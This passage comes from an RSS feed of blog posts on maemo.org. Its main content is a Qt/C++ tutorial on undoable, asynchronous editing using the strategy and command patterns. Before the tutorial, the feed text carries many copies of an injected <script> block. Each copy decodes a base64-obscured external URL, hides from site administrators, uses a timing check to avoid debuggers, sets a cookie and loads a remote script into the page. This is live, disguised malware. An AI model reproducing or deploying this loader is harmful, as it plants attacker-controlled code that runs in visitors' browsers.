key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e720923b05e502209211e7b90e2113572a3fc33fc3&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e720923b05e502209211e7b90e2113572a3fc33fc3/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e720923b05e502209211e7b90e2113572a3fc33fc3&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e720923b05e502209211e7b90e2113572a3fc33fc3/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 13 Apr 2017 21:32:22 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e720923b05e502209211e7b90e2113572a3fc33fc3</guid>
        </item>
        <item>
            <title>Making something that is ‘undoable editable’ with Qt</title>
            <link>https://pvanhoof.be/blog/index.php/2017/03/24/making-something-that-is-undoable-editable-with-qt</link>
            <description><![CDATA[
<p>Among the problems we&#8217;ll face is that we want asynchronous APIs that are undoable and that we want to switch to read only, undoable editing, non-undoable editing and that QML doesn&#8217;t really work well with QFuture. <a href="https://github.com/benlau/quickfuture">At least not yet</a>. We want an interface that is easy to talk with from QML. Yet we want to switch between complicated behaviors.</p>
<p>We will also want synchronous mode and asynchronous mode. Because I just invented that requirement out of thin air.</p>
<p>Ok, first the &#8220;design&#8221;. We see a lot of behaviors, for something that can do something. The behaviors will perform for that something, the actions it can do. That is the <a href="https://en.wikipedia.org/wiki/Strategy_pattern">strategy design pattern</a>, then. It&#8217;s the one about ducks and wing fly behavior and rocket propelled fly behavior and the ostrich that has a can&#8217;t fly behavior. For undo and redo, we have the <a href="https://en.wikipedia.org/wiki/Command_pattern">command pattern</a>. We have <a href="http://doc.qt.io/qt-5/qundostack.html">this neat thing in Qt</a> for that. We&#8217;ll use it. We don&#8217;t reinvent the wheel. Reinventing the wheel is stupid.</p>
<p>Let&#8217;s create the duck. I mean, the thing-editor as I will use &#8220;Thing&#8221; for the thing that is being edited. We want copy (sync is sufficient), paste (must be aysnc), and edit (must be async). We could also have insert and delete, but those APIs would be just like edit. Paste is usually similar to insert, of course. Except that it can be a combined delete and insert when overwriting content. The command pattern allows you to make such combinations. Not the purpose of this example, though.</p>
<p>Enough explanation. Let&#8217;s start! The ThingEditor, is like the flying Duck in strategy. This is going to be more or less the API that we will present to the QML world. It could be your <a href="http://pvanhoof.be/blog/index.php/2016/05/27/mvvm-model-view-viewmodel-with-qt-and-qml">ViewModel</a>, for example (ie. you could let your ThingViewModel subclass ThingEditor).</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">class</span> ThingEditor <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QObject</span>
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>

    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;"> (</span><span style="color: #000000; background: #ffffff;"> ThingEditingBehavior</span><span style="color: #808030; background: #ffffff;">*</span><span style="color: #000000; background: #ffffff;"> editingBehavior </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> editingBehavior</span>
<span style="color: #000000; background: #ffffff;">                 </span><span style="color: #800000; background: #ffffff; font-weight: bold;">WRITE</span><span style="color: #000000; background: #ffffff;"> setEditingBehavior NOTIFY editingBehaviorChanged </span><span style="color: #808030; background: #ffffff;">)</span>
    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;"> (</span><span style="color: #000000; background: #ffffff;"> Thing</span><span style="color: #808030; background: #ffffff;">*</span><span style="color: #000000; background: #ffffff;"> thing </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> thing </span><span style="color: #800000; background: #ffffff; font-weight: bold;">WRITE</span><span style="color: #000000; background: #ffffff;"> setThing NOTIFY thingChanged </span><span style="color: #808030; background: #ffffff;">)</span>

<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">explicit</span> ThingEditor<span style="color: #808030;">(</span> QSharedPointer&lt;Thing&gt; <span style="color: #808030;">&amp;</span>a_thing<span style="color: #808030;">,</span>
            ThingEditingBehavior <span style="color: #808030;">*</span>a_editBehavior<span style="color: #808030;">,</span>
            <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">nullptr</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

    <span style="color: #800000; font-weight: bold;">explicit</span> ThingEditor<span style="color: #808030;">(</span> <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">nullptr</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

    Thing<span style="color: #808030;">*</span> thing<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #800080;">{</span> <span style="color: #800000; font-weight: bold;">return</span> m_thing<span style="color: #808030;">.</span>data<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span> <span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> setThing<span style="color: #808030;">(</span> QSharedPointer&lt;Thing&gt; <span style="color: #808030;">&amp;</span>a_thing <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> setThing<span style="color: #808030;">(</span> Thing <span style="color: #808030;">*</span>a_thing <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

    ThingEditingBehavior<span style="color: #808030;">*</span> editingBehavior<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #800080;">{</span> <span style="color: #800000; font-weight: bold;">return</span> m_editingBehavior<span style="color: #808030;">.</span>data<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span> <span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> setEditingBehavior <span style="color: #808030;">(</span> ThingEditingBehavior <span style="color: #808030;">*</span>a_editingBehavior <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

    Q_INVOKABLE <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> copyCurrentToClipboard <span style="color: #808030;">(</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    Q_INVOKABLE <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> editCurrentAsync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    Q_INVOKABLE <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> pasteCurrentFromClipboardAsync<span style="color: #808030;">(</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> editingBehaviorChanged <span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> thingChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> editCurrentFinished<span style="color: #808030;">(</span> EditCurrentCommand <span style="color: #808030;">*</span>a_command <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> pasteCurrentFromClipboardFinished<span style="color: #808030;">(</span> EditCurrentCommand <span style="color: #808030;">*</span>a_command <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">private slots</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> onEditCurrentFinished<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> onPasteCurrentFromClipboardFinished<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    QScopedPointer&lt;ThingEditingBehavior&gt; m_editingBehavior<span style="color: #800080;">;</span>
    QSharedPointer&lt;Thing&gt; m_thing<span style="color: #800080;">;</span>
    <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span><span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> m_editCurrentFutureWatchers<span style="color: #800080;">;</span>
    <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span><span style="color: #603000;">QFutureWatcher&lt;EditCurrentCommand</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt; *&gt;</span> m_pasteCurrentFromClipboardFutureWatchers<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>For the implementation of this class, I&#8217;ll only provide the non-obvious pieces. I&#8217;m sure you can do that setThing, setEditingBehavior and the constructor yourself. I&#8217;m also providing it only once, and also only for the EditCurrentCommand. The one about paste is going to be exactly the same.</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">void</span> ThingEditor<span style="color: #800080;">::</span>copyCurrentToClipboard <span style="color: #808030;">(</span> <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    m_editingBehavior<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>copyCurrentToClipboard<span style="color: #808030;">(</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span> ThingEditor<span style="color: #800080;">::</span>onEditCurrentFinished<span style="color: #808030;">(</span> <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>resultWatcher
            <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">static_cast</span><span style="color: #800080;">&lt;</span><span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> <span style="color: #808030;">(</span> sender<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">emit</span> editCurrentFinished <span style="color: #808030;">(</span> resultWatcher<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>result<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">if</span> <span style="color: #808030;">(</span>m_editCurrentFutureWatchers<span style="color: #808030;">.</span>contains<span style="color: #808030;">(</span> resultWatcher <span style="color: #808030;">)</span><span style="color: #808030;">)</span> <span style="color: #800080;">{</span>
        m_editCurrentFutureWatchers<span style="color: #808030;">.</span>removeAll<span style="color: #808030;">(</span> resultWatcher <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800080;">}
</span>    <span style="color: #800000; font-weight: bold;">delete</span> resultWatcher<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span> ThingEditor<span style="color: #800080;">::</span>editCurrentAsync<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> <span style="color: #808030;">*</span>resultWatcher
            <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">new</span> <span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #400000;">connect</span> <span style="color: #808030;">(</span> resultWatcher<span style="color: #808030;">,</span> <span style="color: #808030;">&amp;</span><span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span>EditCurrentCommand<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span><span style="color: #800080;">::</span>finished<span style="color: #808030;">,</span>
              <span style="color: #800000; font-weight: bold;">this</span><span style="color: #808030;">,</span> <span style="color: #808030;">&amp;</span>ThingEditor<span style="color: #800080;">::</span>onEditCurrentFinished<span style="color: #808030;">,</span> <span style="color: #666616;">Qt</span><span style="color: #800080;">::</span>QueuedConnection <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    resultWatcher<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>setFuture <span style="color: #808030;">(</span> m_editingBehavior<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>editCurrentAsync<span style="color: #808030;">(</span> a_value <span style="color: #808030;">)</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    m_editCurrentFutureWatchers<span style="color: #808030;">.</span>append <span style="color: #808030;">(</span> resultWatcher <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span></pre>
<p>For QUndo we&#8217;ll need a QUndoCommand. For each undoable action we indeed need to make such a command. You could add more state and pass it to the constructor. It&#8217;s common, for example, to pass Thing, or the ThingEditor or the behavior (<a href="http://pvanhoof.be/blog/index.php/2016/07/01/composition-and-aggregation-with-qobject">this is why I used QSharedPointer for those</a>: as long as your command lives in the stack, you&#8217;ll need it to hold a reference to that state).</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">class</span> EditCurrentCommand<span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QUndoCommand</span>
<span style="color: #800080;">{</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">explicit</span> EditCurrentCommand<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_value<span style="color: #808030;">,</span>
                                 <span style="color: #603000;">QUndoCommand</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">nullptr</span> <span style="color: #808030;">)</span>
        <span style="color: #800080;">:</span> <span style="color: #603000;">QUndoCommand</span> <span style="color: #808030;">(</span> a_parent <span style="color: #808030;">)</span>
        <span style="color: #808030;">,</span> m_value <span style="color: #808030;">(</span> a_value <span style="color: #808030;">)</span> <span style="color: #800080;">{</span> <span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">void</span> redo<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE <span style="color: #800080;">{</span>
       <span style="color: #696969;">// Perform action goes here</span>
    <span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">void</span> undo<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE <span style="color: #800080;">{</span>
      <span style="color: #696969;">// Undo what got performed goes here</span>
    <span style="color: #800080;">}</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>m_value<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>You can (and probably should) also make this one abstract (and/or a so called pure interface), as you&#8217;ll usually want many implementations of this one (one for every kind of editing behavior). Note that it leaks the QUndoCommand instances unless you handle them (ie. storing them in a QUndoStack). That in itself is a good reason to keep it abstract.</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">class</span> ThingEditingBehavior <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QObject</span>
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>

    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;"> (</span><span style="color: #000000; background: #ffffff;"> ThingEditor</span><span style="color: #808030; background: #ffffff;">*</span><span style="color: #000000; background: #ffffff;"> editor </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> editor </span><span style="color: #800000; background: #ffffff; font-weight: bold;">WRITE</span><span style="color: #000000; background: #ffffff;"> setEditor NOTIFY editorChanged </span><span style="color: #808030; background: #ffffff;">)</span>
